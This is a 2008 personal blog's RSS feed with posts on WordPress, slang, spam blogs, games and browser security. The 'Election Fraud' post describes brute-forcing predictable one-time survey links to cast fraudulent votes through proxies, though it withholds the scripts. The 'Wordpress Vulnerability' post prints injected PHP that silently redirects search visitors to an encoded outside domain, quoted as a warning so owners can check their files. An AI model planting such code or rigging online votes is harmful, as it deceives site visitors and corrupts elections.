<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>TylerM – Tyler Menezes</title>
	<atom:link href="http://www.tylerm.info/feed" rel="self" type="application/rss+xml" />
	<link>http://www.www.tylerm.info</link>
	<description>Hello. I specialize in graphic design for web and print projects.</description>
	<pubDate>Mon, 29 Sep 2008 00:29:34 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
			<item>
		<title>My Thoughts on Wordpress</title>
		<link>http://www.www.tylerm.info/my-thoughts-on-wordpress.html</link>
		<comments>http://www.www.tylerm.info/my-thoughts-on-wordpress.html#comments</comments>
		<pubDate>Mon, 29 Sep 2008 00:29:34 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Blog Posts]]></category>

		<guid isPermaLink="false">http://www.www.tylerm.info/?p=1100</guid>
		<description><![CDATA[I know plenty of people who hate Wordpress. I&#8217;m not sure why, it&#8217;s very effective at what it does: allow you to write a blog. Wordpress was never developed to do complicated things like Drupal or Mambo. I&#8217;d even venture as far as to say Wordpress isn&#8217;t even a CMS. (It has pages, but they&#8217;re [...]]]></description>
			<content:encoded><![CDATA[<p>I know plenty of people who hate Wordpress. I&#8217;m not sure why, it&#8217;s very effective at what it does: allow you to write a blog. Wordpress was never developed to do complicated things like Drupal or Mambo. I&#8217;d even venture as far as to say Wordpress isn&#8217;t even a CMS. (It has pages, but they&#8217;re really not much more than posts without a date.)</p>
<p>Wordpress is really effective if you&#8217;re looking to create a blog, or something very similar to a blog. (We, for example, use Wordpress at ARSON-News.com.) If you want to create your own social networking site it&#8217;s going to be pretty hard, and it&#8217;s not the fault of the people at Automattic.</p>
<p>In conclusion, I leave you with what is probably the stupidest statement I&#8217;ve <a href="http://www.masterthebusiness.com/blogs/corey_smith/why_i_moved_wordpress_drupal_ndash_top_ten_list">read</a> about why Wordpress is bad:</p>
<blockquote><p>&#8220;Wordpress, because it is designed as a blogging platform from the ground up, it doesn’t lend itself to people who want to build a website without a blog.&#8221;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.www.tylerm.info/my-thoughts-on-wordpress.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Laugh Out Loud</title>
		<link>http://www.www.tylerm.info/laugh-out-loud.html</link>
		<comments>http://www.www.tylerm.info/laugh-out-loud.html#comments</comments>
		<pubDate>Wed, 24 Sep 2008 06:22:16 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Blog Posts]]></category>

		<category><![CDATA[Add new tag]]></category>

		<guid isPermaLink="false">http://www.www.tylerm.info/?p=1098</guid>
		<description><![CDATA[Dear internet:
Please stop using the acronym &#8220;lol&#8221; when you&#8217;re not actually laughing. Seriously, nine of ten times I see the phrase lol used, there&#8217;s no way the person would have actually laughed out loud. I present you with a list of phrases which can be used instead, in ascending order from not that funny to [...]]]></description>
			<content:encoded><![CDATA[<p>Dear internet:</p>
<p>Please stop using the acronym &#8220;lol&#8221; when you&#8217;re not actually laughing. Seriously, nine of ten times I see the phrase lol used, there&#8217;s no way the person would have actually laughed out loud. I present you with a list of phrases which can be used instead, in ascending order from not that funny to very funny.</p>
<ol>
<li>&#8220;haha&#8221; (feel free to repeat as many times as you want, more &#8220;ha&#8221;s mean more humor)</li>
<li>&#8220;loi&#8221; - laughing on the inside.</li>
<li>&#8220;lqtm&#8221; - laughing quietly to myself.</li>
<li>&#8220;lol&#8221; - laughing out loud, to be used only if you actually laugh out loud</li>
<li>&#8220;rofl&#8221; - rolling on the floor laughing, funnier than lol, still misleading if you didn&#8217;t actually get on the floor</li>
<li>&#8220;rofl-isiagotf&#8221; - &#8220;rolling on the floor laughing - I&#8217;m serious, I actually got on the floor.&#8221;</li>
</ol>
<p>In conclusion, don&#8217;t say &#8220;lol&#8221; if you don&#8217;t really laugh out loud. Also, stop adding extra letters to the end of words likeeeee thissssss. It&#8217;s really annoying.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.www.tylerm.info/laugh-out-loud.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Election Fraud</title>
		<link>http://www.www.tylerm.info/election-fraud.html</link>
		<comments>http://www.www.tylerm.info/election-fraud.html#comments</comments>
		<pubDate>Sun, 24 Aug 2008 09:53:52 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Blog Posts]]></category>

		<guid isPermaLink="false">http://www.www.tylerm.info/?p=1055</guid>
		<description><![CDATA[My high school has decided, for whatever reason, to use Zoomerang to conduct student elections. To prevent multiple votes, Zoomerang allows the creator of what will from now on be referred to as a survey, though it&#8217;s more of a voting thing, to send a one-time link to a list of people.
These one-time links, as [...]]]></description>
			<content:encoded><![CDATA[<p>My high school has decided, for whatever reason, to use <a href="http://www.zoomerang.com/" rel="no-follow">Zoomerang</a> to conduct student elections. To prevent multiple votes, Zoomerang allows the creator of what will from now on be referred to as a survey, though it&#8217;s more of a voting thing, to send a one-time link to a list of people.</p>
<p>These one-time links, as you can probably guess, allow a user to take the survey only once. However, I have always been suspicious of such tactics, and so a while ago I decided to take a look. (Disclosure: I&#8217;m working on a free, open-source voting system. I promise not to let that skew my results.)<span id="more-1055"></span></p>
<p><img src="http://www.www.tylerm.info/wp-content/73686445_26f667cdbf_m.jpg" alt="" title="Vote here" width="160" height="215" class="alignleft size-medium wp-image-1056" />[Photo credit: <a href="http://flickr.com/photos/daquellamanera/73686445/">Daquella Manera</a>]</p>
<p>I started with a paid Zoomerang account (well, okay, no I didn&#8217;t - it&#8217;s $600! I borrowed a login from an online friend with an account) and set up a sample survey based (well copied word-for-word, actually) on a template. I then used the one-time link feature to send a plethora of links to my Gmail account. In total one hundred, though I&#8217;ll present just a short sample of them below:</p>
<p>http://www.zoomerang.com/Survey/?p=U2A8NMF9ASLG<br />
http://www.zoomerang.com/Survey/?p=U2A8NMFAASM4<br />
http://www.zoomerang.com/Survey/?p=U2A8NMFBASMP<br />
http://www.zoomerang.com/Survey/?p=U2A8NMFCASNB<br />
http://www.zoomerang.com/Survey/?p=U2A8NMFDASNW<br />
http://www.zoomerang.com/Survey/?p=U2A8NMFEASPJ<br />
http://www.zoomerang.com/Survey/?p=U2A8NMFFASQ5</p>
<p>The more observant of you will have noticed that some things aren&#8217;t very random. In fact, only three characters change frequently, highlighted below in italicized bold:</p>
<p>http://www.zoomerang.com/Survey/?p=xxxxxxx<strong><em>X</em></strong>xx<strong><em>XX</em></strong></p>
<p>These changing portions do appear to be random (<a href="http://en.wikipedia.org/wiki/Pseudorandomness" title="Pseudorandomness">well as random as a computer can produce, at least</a>). However, there are <em><strong>still only four characters changing between links</strong></em>! The characters are limited to uppercase letters and integers. This means there are 36 possible combination for each character (10 digits + 26 letters). With three positions for the random data, there are only 36<sup>3</sup> possibilities! Okay, so that&#8217;s 46,656, which is a pretty big number.</p>
<p>However, the problem comes when we realize that there are about 1,600 people in attendance at my High School (I don&#8217;t remember the exact number, but it&#8217;s somewhere around there).46,656 / 1,600 is 29.16. So for every 29.16 guesses I make, odds are one of them will be a working link. However we can reduce that even further! The first random character seems to just be a hexadecimal counter (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E, F). I have no idea why this is, but it continues throughout the data.</p>
<p>Factoring this in, I was able to write a combination of PHP and Perl applications which can, in essence, conduct election fraud. They come in three parts, and use <a href="http://www.amazon.com/Simple-Queue-Service-home-page/b?ie=UTF8&#038;node=13584001">Amazon SQS</a> to communicate between each other. This allows for the application (with the exception of the first script) to be run on many servers at once.</p>
<p>The first, a Perl script, takes one known survey URL as it&#8217;s parameter, then guesses the rest of them in order of probability. It is actually in two parts, one calculates the URLs and passes it to the second to send to SQS, that way the network is not the bottleneck, the second is multi-threaded. It sends its results to the second script, which issues HTTP requests to see if the links exist. It changes proxies every 100 links. It then passes it&#8217;s results to the PHP script which POSTs the votes specified by the attacker to the survey, using a new proxy each time. The proxies are a pre-compiled list based on various resources.</p>
<p>Okay, so this is kind of noticeable, because legitimate users trying to vote will be locked out. However, this does work - this is not just an idea, I have done it using a test survey. Renting one hour of computing time, on four servers from <a href="http://www.amazon.com/gp/browse.html?node=201590011">Amazon EC2</a>, one (8-core) machine to calculate the URLs, two machines to check them, and then a final machine to POST the fraudulent data.</p>
<p>Of the 900 links I sent out to an email address silently discarding them (and the one sent to my own) I was able to guess 400, <em>more than 40% of the total possible votes</em>. Even if everyone voted, so long as the people being voted for are not idiots there&#8217;s a very good chance they will win.</p>
<p>My total cost throughout this: less than $2!</p>
<p>Now at this point I&#8217;d like to point out that the protection provided by Zoomerang is probably good enough for most surveys. However I would not trust higher-risk data collection to them. You may think it&#8217;s impractical to conduct such an attack, but teenagers today are always looking to mess with people. The scripts took me less than 10 hours and everything I need to know, I learned from books available at the library and Google searches.</p>
<p>Because I actually have an interest in who wins the election this upcoming year (they don&#8217;t seem to have much effect either way, but some of the people who won this past year are people I consider neither nice nor good leaders) I&#8217;m not going to release the exploit scripts until safe to do so - either after the elections, or if the school decides not to use Zoomerang to manage them. Bookmark this page and it&#8217;ll eventually be here, probably. I suppose if I post it, the nice people at Zoomerang will try to sue me, though this would be baseless and mostly an effort to get me to take it down through legal force. Whether it remains up, in that case, depends on whether or not the EFF is willing to defend the right to post exploit scripts for the sake of fixing problems.</p>
<p>This ridiculously long post was brought to you by <a href="http://www.arson-news.com">ARSON News</a>, a site I update no more frequently than this one. :-/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.www.tylerm.info/election-fraud.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>I can has new theme?</title>
		<link>http://www.www.tylerm.info/i-can-has-new-theme.html</link>
		<comments>http://www.www.tylerm.info/i-can-has-new-theme.html#comments</comments>
		<pubDate>Sat, 23 Aug 2008 05:19:09 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Blog Posts]]></category>

		<guid isPermaLink="false">http://www.www.tylerm.info/?p=1082</guid>
		<description><![CDATA[All lolcats aside, what do you think of the new theme? You can obviously leave a comment here, or just choose your opinion on the poll below:
]]></description>
			<content:encoded><![CDATA[<p>All lolcats aside, what do you think of the new theme? You can obviously leave a comment here, or just choose your opinion on the poll below:</p>
Note: There is a poll embedded within this post, please visit the site to participate in this post's poll.
]]></content:encoded>
			<wfw:commentRss>http://www.www.tylerm.info/i-can-has-new-theme.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Splogging as a business model? Meet fav.or.it!</title>
		<link>http://www.www.tylerm.info/splogging-as-a-business-model-meet-favorit.html</link>
		<comments>http://www.www.tylerm.info/splogging-as-a-business-model-meet-favorit.html#comments</comments>
		<pubDate>Sat, 14 Jun 2008 01:49:17 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Blog Posts]]></category>

		<guid isPermaLink="false">http://www.tylerm.info/?p=1052</guid>
		<description><![CDATA[Thought splogs were run by the same underground groups who send out 90% of your email spam? Meet fav.or.it, a company who seems to have adapted it as their business model.
The tagline used by the company is &#8220;bringing blogging to the masses&#8221; (implying that they are a feed-reader/mashup site). Most bloggers, however, should be able [...]]]></description>
			<content:encoded><![CDATA[<p>Thought <abbr title="spam weblogs">splogs</abbr> were run by the same underground groups who send out 90% of your email spam? Meet <a rel="no-follow" href="http://www.fav.or.it/">fav.or.it</a>, a company who seems to have adapted it as their business model.<span id="more-1052"></span></p>
<p>The tagline used by the company is &#8220;bringing blogging to the masses&#8221; (implying that they are a feed-reader/mashup site). Most bloggers, however, should be able to see in short time the true purpose of the site - making money on the content of others. Yep, it even uses the same trick used by all other splogs, feed scraping.</p>
<p><em>Well, why don&#8217;t you consider this a feed reader?</em> The site does not function much like a traditional feed reader. Everything <strike>posted</strike> copied there is public - it&#8217;s not in any major way custom to a user. Everyone will see the same posts - even spiders - as if fav.or.it is the originator of the content.</p>
<p>Which leads me to one of my main problems with fav.or.it, it looks to spiders, as though they created the content. The full-text of the article is hosted there, and contains one link-back that, at the moment, is rel=no-follow&#8217;ed. Meaning that, to spiders, it seems that fav.or.it is the one which created the content. Seeing as fav.or.it has a higher PR than most small blogs, this may even lead some search engines to blacklist the actual blogger when they see the duplicate content.</p>
<p>My second problem with fav.or.it is one of attribution. They provide one link - <strong>one very small link</strong> - at the top of the post. When I say small, I mean one 10px by 10px icon. This icon is strategically placed right next to another link. This is, in my opinion, done to trick users into thinking the two links lead to the same place, at which most users would not be careful to where they&#8217;re clicking.</p>
<p>One really obvious problem that is probably evident by the previous two points is that fav.or.it does not hold the copyright to any works they repost on their site, nor do they check to see if submitted feeds are licensed under any license which would allow them to repost it.</p>
<p>Personally, this makes me upset. I&#8217;ve contacted their abuse team, and asked them to blacklist my feed. I&#8217;ll update this post if anything happens. In the meantime, I&#8217;d like to make one thing clear: reposting my content on a site with ads for your profit is not covered under this license.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.www.tylerm.info/splogging-as-a-business-model-meet-favorit.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Wordpress Vulnerability</title>
		<link>http://www.www.tylerm.info/wordpress-vulnerability.html</link>
		<comments>http://www.www.tylerm.info/wordpress-vulnerability.html#comments</comments>
		<pubDate>Sun, 08 Jun 2008 00:22:23 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Blog Posts]]></category>

		<guid isPermaLink="false">http://www.tylerm.info/?p=1051</guid>
		<description><![CDATA[There&#8217;s a big Wordpress vulnerability going around (see http://clasione.blogspot.com/2008/06/wordpress-anyresultsnet-hack-search.html for details). Be sure to check your wp-blog-header.php for:

&#60;?php
$seref=array(&#8221;google&#8221;,&#8221;msn&#8221;,&#8221;live&#8221;,&#8221;altavista&#8221;,&#8221;ask&#8221;,&#8221;yahoo&#8221;,&#8221;aol&#8221;,&#8221;cnn&#8221;,&#8221;weather&#8221;,&#8221;alexa&#8221;);
$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser=&#8221;1&#8243;; break; }
if($ser==&#8221;1&#8243; &#038;&#038; sizeof($_COOKIE)==0){ header(&#8221;Location: http://&#8221;.base64_decode(&#8221;YW55cmVzdWx0cy5uZXQ=&#8221;).&#8221;/&#8221;); exit; }?&#62;
Is your site infected?
Use this tool to check:




]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s a big Wordpress vulnerability going around (see <a href="http://clasione.blogspot.com/2008/06/wordpress-anyresultsnet-hack-search.html">http://clasione.blogspot.com/2008/06/wordpress-anyresultsnet-hack-search.html</a> for details). Be sure to check your wp-blog-header.php for:<br />
<span id="more-1051"></span></p>
<div class="code">&lt;?php<br />
$seref=array(&#8221;google&#8221;,&#8221;msn&#8221;,&#8221;live&#8221;,&#8221;altavista&#8221;,&#8221;ask&#8221;,&#8221;yahoo&#8221;,&#8221;aol&#8221;,&#8221;cnn&#8221;,&#8221;weather&#8221;,&#8221;alexa&#8221;);<br />
$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser=&#8221;1&#8243;; break; }<br />
if($ser==&#8221;1&#8243; &#038;&#038; sizeof($_COOKIE)==0){ header(&#8221;Location: http://&#8221;.base64_decode(&#8221;YW55cmVzdWx0cy5uZXQ=&#8221;).&#8221;/&#8221;); exit; }?&gt;</div>
<h3>Is your site infected?</h3>
<p>Use this tool to check:</p>
<form action="/wp-check.php" method="post">
<input type="text" name="url" value="http://your.site/url/" />
<input type="submit" value="Check" />
</form>
]]></content:encoded>
			<wfw:commentRss>http://www.www.tylerm.info/wordpress-vulnerability.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>This is the post where I start a contest</title>
		<link>http://www.www.tylerm.info/this-is-the-post-where-i-start-a-contest.html</link>
		<comments>http://www.www.tylerm.info/this-is-the-post-where-i-start-a-contest.html#comments</comments>
		<pubDate>Mon, 19 May 2008 01:32:19 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Blog Posts]]></category>

		<guid isPermaLink="false">http://www.tylerm.info/?p=1047</guid>
		<description><![CDATA[Hey, everyone. I was just reading a bunch of successful blogs today, and noticed almost every one has run a contest at some time. I would like this blog to be very successful, as well, and it seems I can&#8217;t do that without running a contest, if these blogs are anything to go by.
So, here&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p>Hey, everyone. I was just reading a bunch of successful blogs today, and noticed almost every one has run a contest at some time. I would like this blog to be very successful, as well, and it seems I can&#8217;t do that without running a contest, if these blogs are anything to go by.</p>
<p>So, here&#8217;s my contest. It&#8217;s actually pretty cheap, but whatever.<br />
<span id="more-1047"></span></p>
<h3>The Contest</h3>
<p>Between now and <strong>July 6, 2008, 01:00:00 GMT</strong> (my birthday) leave a comment on this post with some sort of intelligent comment so I can tell you&#8217;re not a spammer. <strong>Your name and email address must be filled in.</strong> One commenter will be selected randomly (see <em>Selection of Winners</em> at the end) to receive one free domain name.</p>
<p>The domain will be hosted at my registrar of choice, and I will set the name servers to whatever you&#8217;d like. If you don&#8217;t have your own name servers and don&#8217;t want to use any of the services out there, I can also add some records for you on my own name servers.</p>
<h3>But wait! That&#8217;s not all!</h3>
<p>If you fill in the Website field of the comment, you&#8217;ll also be entered to win a free link in my Blogroll for one year. TylerM.info is a PR3 / PR4 site (it seems to go back and forth a lot) with somewhere between 50-500 unique views daily, which - at the least - will help your ranking in Google a little bit. It can either be a text or image link. (Image must not be much bigger than the IconBuffet image I have there now.)</p>
<p>You cannot win this prize if:</p>
<ul>
<li>You&#8217;re blacklisted by Google</li>
<li>Your site contains content unsuitable for all ages</li>
<li>Your site uses &#8220;black-hat&#8221; SEO techniques</li>
<li>You provide information on helping people spam blogs</li>
</ul>
<p>If your site later violates these conditions, the link will be removed, though it can be replaced or changed for another one later at your request.</p>
<h3>Selection of Winners</h3>
<p>Winners will be selected on <strong>July 8, 2008</strong>. Beforehand, all comments will be reduced manually to one-per-commenter, so multiple comments will not improve your chances.</p>
<p>The winner of the first contest for the domain name will be selected with the following SQL query:</p>
<div class="code">SELECT * FROM `tyler`.`wp_comments` WHERE `comment_post_ID` = &#8216;1047&#8242; AND `comment_author` IS NOT NULL AND `comment_author_email` IS NOT NULL AND `comment_content` IS NOT NULL AND `comment_approved` = &#8216;1&#8242; AND `comment_date_gmt` <= '2008-07-06 01:00:00' ORDER BY RAND() LIMIT 1;</div>
<p><!--Adam Ryman--></p>
<p>The winner of the second contest for the link will be selected with the following SQL query:</p>
<div class="code">SELECT * FROM `tyler`.`wp_comments` WHERE `comment_post_ID` = &#8216;1047&#8242; AND `comment_author` IS NOT NULL AND `comment_author_email` IS NOT NULL AND `comment_author_url` IS NOT NULL AND `comment_content` IS NOT NULL AND `comment_approved` = &#8216;1&#8242; AND `comment_date_gmt` <= '2008-07-06 01:00:00' ORDER BY RAND() LIMIT 1;</div>
<p><!--Travis O.--></p>
<p>Note that this makes it possible to win both contests. If you see any problems with these statements, let me know beforehand.</p>
<h3>Notification of Winners</h3>
<p>Winners will be notified by the provided email address. Upon notification, you will be given 5 days to respond. If no response is received, your prize will be revoked and given to someone else, selected by the same statements. Emails will be sent from my Gmail address, as my mail server for this domain rejects emails from improperly configured mail servers and that should not be a reason to loose.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.www.tylerm.info/this-is-the-post-where-i-start-a-contest.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Top 3 reason TrackMania sucks</title>
		<link>http://www.www.tylerm.info/top-3-reason-trackmania-sucks.html</link>
		<comments>http://www.www.tylerm.info/top-3-reason-trackmania-sucks.html#comments</comments>
		<pubDate>Sat, 17 May 2008 04:33:12 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Blog Posts]]></category>

		<guid isPermaLink="false">http://www.tylerm.info/?p=1046</guid>
		<description><![CDATA[A lot of people I know like the game TrackMania. I&#8217;ve hosted TrackMania fan sites before. Yet before last week I had yet to actually play the game. However, I was a little bored and looking for things to write about here, so I decided to get the demo. Here&#8217;s my top reasons you should [...]]]></description>
			<content:encoded><![CDATA[<p>A lot of people I know like the game TrackMania. I&#8217;ve hosted TrackMania fan sites before. Yet before last week I had yet to actually play the game. However, I was a little bored and looking for things to write about here, so I decided to get the demo. Here&#8217;s my top reasons you should buy something other than TrackMania:<br />
<span id="more-1046"></span></p>
<ol>
<li><strong>It&#8217;s more difficult then is fun, right from the start</strong>
<p>I enjoy difficulty in games, but TrackMania takes the concept way too far. To begin with, immediately after starting the game, I was provided with an incredibly difficult challenge. Now, I would no longer say it was hard, but typically games at least teach you how to play before putting you in a real win/loose situation.</p>
<p>Portal, for example, spends the first 5 or 10 levels just teaching the players how to play; Audiosurf asks the player if they want to try a tutorial. Trackmania just puts you in a race right off, and it&#8217;s not even a specifically easy one.</p>
<p>I got the hang of it, eventually, but it&#8217;s kind of odd being handed control of a car with no indication of how the controls work and then being told to try to win, ready. . . GO! There&#8217;s not really even a clear definition of how to win at the start, you&#8217;re kind of shown a platform with a giant gate. It&#8217;s kind of obvious you&#8217;re supposed to get to the gate, but given the physics involved in the first level it&#8217;s a bad way to start.</p>
</li>
<li><strong>When you start playing the harder levels, they&#8217;re near impossible</strong>
<p>Okay, so eventually I got the hang of the controls, and passed all of the easy and medium levels. However, the hard levels fall just short of impossible. It&#8217;s been my observation that in all races, even the <em>Endurance</em> races (most races are less than a minute, whereas <em>Endurance</em> races can last 5 or more), winning a Silver medal (required to advance) means not touching a wall or letting go of the &#8220;forward&#8221; key. Ever.</p>
<p>These are races that can last up to 7 or 8 minutes. 7 or 8 minutes without touching a wall, when you&#8217;re on a narrow track going 300+ miles per hour. More times than I can count I was more than 90% done, only to touch a wall, turn too sharply, or make some other small mistake, thereby being overtaken by the opponent. It&#8217;s crazy. The type of people that play this game are the type that don&#8217;t mind spend 2 hours trying to clear a 7 minute race.</p>
<p>And I don&#8217;t even want to mention trying to get a Gold medal on higher levels!</p>
</li>
<li><strong>It&#8217;s unrealistic.</strong>
<p>Don&#8217;t try to tell me it is, because it&#8217;s not. Let me give you an example, I got my car up to 323 miles per hour (I&#8217;ve gotten up to 900 before, that&#8217;s not all too realistic, either). Then I decelerated back to stopping. (See screenshots.)</p>
<p><a href='http://www.tylerm.info/wp-content/923mph.png'><img src="http://www.tylerm.info/wp-content/923mph-150x150.png" alt="323mph in TrackMania" title="323mph" width="150" height="150" class="size-thumbnail wp-image-1043" /></a><a href='http://www.tylerm.info/wp-content/realistic-stopping-distance.png'><img src="http://www.tylerm.info/wp-content/realistic-stopping-distance-150x150.png" alt="323mph to 0 in 6 seconds." title="realistic-stopping-distance" width="150" height="150" class="size-thumbnail wp-image-1045" /></a></p>
<p>In just under 6 seconds. You would be at decelerating 53.3 miles per second, or about 85,778 meters per second according to Google. That&#8217;s a tremendous amount of force.  Ignoring the huge forces on both the car and the driver, <em>what kind of breaks can stop this fast?!</em></p>
<p>Maybe it&#8217;s not supposed to be really realistic. Okay, it&#8217;s not supposed to be really realistic. But if you&#8217;re going to obey some basic laws of the universe, why not take the effort to make the rest of them at least partially realistic. I wasn&#8217;t going into this thing looking for hyper-realism, but that&#8217;s way off, even for this type of game, in my opinion.</p>
</li>
</ol>
<p>Honestly, I had 5 reasons planned. I think you get the idea with these three alone, though.(Plus I have to go write a CMS and Wordpress is acting strange today.) Bottom line: Don&#8217;t buy this game. If you&#8217;re looking for something good, I just downloaded Audiosurf and it&#8217;s amazing.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.www.tylerm.info/top-3-reason-trackmania-sucks.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Security on the Web</title>
		<link>http://www.www.tylerm.info/security-on-the-web.html</link>
		<comments>http://www.www.tylerm.info/security-on-the-web.html#comments</comments>
		<pubDate>Mon, 12 May 2008 23:49:30 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Blog Posts]]></category>

		<guid isPermaLink="false">http://www.tylerm.info/?p=1039</guid>
		<description><![CDATA[XSS (Cross Site Scripting) is one of the main problems with Javascript. I was just reading an article on Javascript security, when an idea came to me. We could solve all these problems by allowing servers to send an Allow-content header (or something like that).

This header could contain either &#8220;any&#8221;, &#8220;no-dynamic&#8221;, or a domain name. [...]]]></description>
			<content:encoded><![CDATA[<p>XSS (Cross Site Scripting) is one of the main problems with Javascript. I was just reading an article on Javascript security, when an idea came to me. We could solve all these problems by allowing servers to send an Allow-content header (or something like that).<br />
<span id="more-1039"></span></p>
<p>This header could contain either &#8220;any&#8221;, &#8220;no-dynamic&#8221;, or a domain name. The first would allow scripts from any site to be executed. The second option would tell the browsers not to execute any Javascript or other dynamic content on the page at all. The final would allow the execution of dynamic content only from the specified domain (in the same format as is used in cookies, .domainname.com being a wild card).</p>
<p>Think of how many XSS scripting attacks this could prevent! Headers can only be modified with Javascript or an &#8220;http-equiv&#8221; meta tag, neither of which could be inserted into a webpage without the use of Javascript in the traditional XSS way. I suppose many people who don&#8217;t know or don&#8217;t care about XSS attacks wouldn&#8217;t bother with setting the header, however for the many who do care but don&#8217;t see a vulnerability, this would be helpful.</p>
<p>What are your thoughts on this? Do you see any loopholes? Obviously, there&#8217;s no protection against mirroring of your website for malicious purposes, and this would in no way lift the requirement to sanitize input because of compatibility issues. Still, I think it&#8217;s a pretty good start.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.www.tylerm.info/security-on-the-web.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Should Download Status Bar be in Firefox by default?</title>
		<link>http://www.www.tylerm.info/should-download-statusbar-be-in-firefox-by-default.html</link>
		<comments>http://www.www.tylerm.info/should-download-statusbar-be-in-firefox-by-default.html#comments</comments>
		<pubDate>Tue, 15 Apr 2008 00:32:44 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
		
		<category><![CDATA[Blog Posts]]></category>

		<guid isPermaLink="false">http://www.tylerm.info/should-download-statusbar-be-in-firefox-by-default.html</guid>
		<description><![CDATA[Those who use Firefox (I hope a large number of readers, though Opera and Safari are good, as well) are undoubtfully aware of the amazing addon that is Download Status Bar. Let&#8217;s face it, the download manager built in to Firefox is annoying and clunky. But in a recent conversation with a friend of mine [...]]]></description>
			<content:encoded><![CDATA[<p>Those who use Firefox (I hope a large number of readers, though Opera and Safari are good, as well) are undoubtfully aware of the amazing addon that is Download Status Bar. Let&#8217;s face it, the download manager built in to Firefox is annoying and clunky. But in a recent conversation with a friend of mine an interesting question was brought up: Should Download Status Bar come preinstalled on Firefox?</p>
<p>Is it wrong for Mozilla to preinstall addons? Or is the usefulness of certain addons worth giving up the &#8220;no pre-installed software&#8221; idea? (My opinion is &#8220;yes&#8221;.) Chime in below</p>
Note: There is a poll embedded within this post, please visit the site to participate in this post's poll.
<p>(I can only imagine the feedback I&#8217;d get if this were about Adblock!)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.www.tylerm.info/should-download-statusbar-be-in-firefox-by-default.html/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
